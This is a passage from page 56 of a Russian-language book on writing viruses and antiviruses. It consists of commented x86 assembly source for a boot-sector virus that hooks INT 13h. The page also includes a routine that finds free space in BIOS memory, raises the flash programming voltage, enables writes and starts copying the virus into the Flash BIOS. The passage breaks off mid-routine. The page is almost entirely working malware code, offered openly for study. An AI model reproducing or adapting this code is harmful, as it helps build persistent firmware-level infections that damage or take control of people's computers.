Создаем вирус и антивирус (Гульев) - страница 56

;свидетельствует о том, что boot−сектор только что считали)

Pop_Exit:

pop ds

pop es

pop di

pop si

pop dx

pop cx

pop bx

pop ax

popf

;Выходим из обработчика в вызывающую программу

retf 2

;Запуск оригинального обработчика

jend:

DD 0EAh ;Код команды JMP FAR

;Оригинальный вектор INT13h

i13 DD 0

;Вызов прерывания INT 13h

Int13h proc near

pushf

call dword ptr cs:[i13]

ret

Int13h endp

;Первые два байта слова используются как сигнатура

Marker db ”VLAD”

;Эта подпрограмма заражает Flash BIOS

Flash_BIOS Proc Near

;Проверим наличие Flash BIOS

mov ax,0E000h

int 16h

jc no_flash_bios

cmp al,0FAh

jne no_flash_bios

;Сначала найдем хорошее место для хранения вируса.

;Просканируем память F000h−FFFFh, где обычно находится BIOS,

;на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,

;но выделить нужно с запасом

Infect_Flash:

;Установим начальный сегмент для поиска

mov ax,0F000h

mov ds,ax

;Проверим сегмент

New_segment:

;Установим стартовое смещение

xor si,si

;Установим счетчик найденных байт

;(величина свободного места для вируса)

xor dx,dx

ok_new_segment:

;Перейдем к следующему сегменту

inc ax

mov ds,ax

;Проверим, есть ли еще место для вируса

cmp ax,0FFF0h

je no_flash_BIOS

;Проверим, свободно ли место (для скорости проверяем словами)

Test16:

cmp word ptr [si],0

jne new_segment

;Увеличим счетчик размера найденного свободного места

inc dx

;Проверим, достаточно ли найденного места. Сравниваем с 1Кбайт,

но

;так как память сканируем словами, сравниваем с 512 (1Кбайт=512

слов)

cmp dx,512

je found_storage

;Увеличим смещение проверяемого байта

inc si

inc si

;Сравним с 16. Переходим к следующему сегменту

;в начале каждого параграфа

cmp si,16

je ok_new_segment

jmp test16

;В эту точку попадаем, если место найдено

Found_storage:

;Перейдем к началу зоны

sub ax,40h

mov ds,ax

;Получим требования к сохранению состояния чипа

mov ax,0E001h

int 16h

;Проверим, сколько памяти необходимо для сохранения состояния

;чипа. Если слишком много, не будем сохранять состояние

cmp bx,512

jbe save_chipset

;Установим флаг, показывающий, что состояние не сохраняли

mov byte ptr cs:chipset,1

;Перейдем к записи

jmp write_enable

;Сюда попадаем, если Flash BIOS не обнаружен:

;записывать некуда – выходим

No_Flash_BIOS:

ret

;Сохраним состояние чипа

save_chipset:

;Установим флаг, показывающий, что состояние сохранили

mov byte ptr cs:chipset,0

;Сохраним состояние

mov al,2

push cs

pop es

mov di,offset buffer

int 16h

;Записываемся во Flash BIOS

write_enable:

;Повышаем напряжение

mov al,5

int 16h

;Разрешаем запись во Flash BIOS

mov al,7

int 16h

;Копируем 512 байт вируса во Flash BIOS

push ds

pop es

xor di,di

mov cx,512

push cs

pop ds